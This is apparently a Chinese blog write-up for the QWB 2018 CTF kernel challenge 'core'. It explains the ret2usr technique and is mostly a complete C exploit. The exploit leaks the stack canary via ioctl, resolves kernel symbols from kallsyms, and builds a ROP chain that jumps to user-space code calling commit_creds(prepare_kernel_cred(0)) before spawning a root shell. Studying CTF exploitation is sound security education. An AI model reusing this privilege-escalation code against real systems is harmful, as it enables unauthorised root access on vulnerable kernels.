强网杯2018 core(ret2usr)

ret2usr

ret2usr的利用方法和kernel ROP类似,也算是一种ROP,区别在于调用commit_creds(prepare_kernel_cred(NULL))时,ROP中是通过多个gadget组合实现的。而在ret2usr中,利用了内核态可以访问用户态内存的特性,我们可以在用户态中写好commit_creds(prepare_kernel_cred(NULL)),然后在构造ROP时转跳到用户内存空间执行提权函数,进而简化构造ROP链的难度。

EXP

// gcc exp.c -static -masm=intel -g -o exp
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define RAW_VMLINUX_BASE 0xffffffff81000000
#define COMMIT_CREDS 0xffffffff8109c8e0
#define PREPARE_KERNEL_CRED 0xffffffff8109cce0
#define POP_RDI 0xffffffff81000b2f
#define POP_RDX 0xffffffff810a0f49
#define POP_RCX 0xffffffff81021e53
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ_RET 0xffffffff81050ac2

size_t vmlinux_offset = 0;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;");
  puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getVmlinuxBase() {
  FILE *f = fopen("/tmp/kallsyms", "r");

  if (f < 0) {
    puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
    exit(-1);
  }

  size_t addr;
  char buf[0x50], type[0x50];

  while (fscanf(f, "%llx%s%s", &addr, type, buf)) {
    if (prepare_kernel_cred && commit_creds)
      break;

    if (!commit_creds && !strcmp(buf, "commit_creds")) {
      commit_creds = addr;
      printf("\033[32m\033[1m[+] Successful to get the addr of "
             "commit_cread:\033[0m%llx\n",
             commit_creds);
      continue;
    }

    if (!strcmp(buf, "prepare_kernel_cred")) {
      prepare_kernel_cred = addr;
      printf("\033[32m\033[1m[+] Successful to get the addr of "
             "prepare_kernel_cred:\033[0m%llx\n",
             prepare_kernel_cred);
      continue;
    }
  }

  if (prepare_kernel_cred - (PREPARE_KERNEL_CRED - RAW_VMLINUX_BASE) !=
      commit_creds - (COMMIT_CREDS - RAW_VMLINUX_BASE)) {
    puts("\033[31m\033[1m[x] Base address error!\033[0m\n");
    exit(-1);
  }

  vmlinux_offset = prepare_kernel_cred - PREPARE_KERNEL_CRED;
}

void getRootShell(void) {
  if (getuid()) {
    printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
    exit(-1);
  }

  printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell "
         "now...\033[0m\n");
  system("/bin/sh");
}

void getRoot() {
  char *(*pkc)(int) = (char *(*)(int))prepare_kernel_cred;
  void (*cc)(char *) = (void (*)(char *))commit_creds;
  (*cc)((*pkc)(0));
}

void coreRead(int fd, char *buf) { ioctl(fd, 0x6677889B, buf); }

void setOffValue(int fd, size_t off) { ioctl(fd, 0x6677889C, off); }

void coreCopyFunc(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); }

int main() {
  saveStatus();

  getVmlinuxBase();

  int fd = open("/proc/core", 2);

  size_t canary;
  char buf[0x50];

  setOffValue(fd, 64);
  coreRead(fd, buf);
  canary = ((size_t *)buf)[0];

  // construct the ropchain
  size_t rop_chain[0x100], i = 0;
  for (; i < 10; i++)
    rop_chain[i] = canary;
  rop_chain[i++] = (size_t)getRoot;
  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux_offset;
  rop_chain[i++] = 0;
  rop_chain[i++] = IRETQ_RET + vmlinux_offset;
  rop_chain[i++] = (size_t)getRootShell;
  rop_chain[i++] = user_cs;
  rop_chain[i++] = user_rflags;
  rop_chain[i++] = user_sp;
  rop_chain[i++] = user_ss;

  write(fd, rop_chain, 0x800);
  coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

参考链接

ret2usr

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇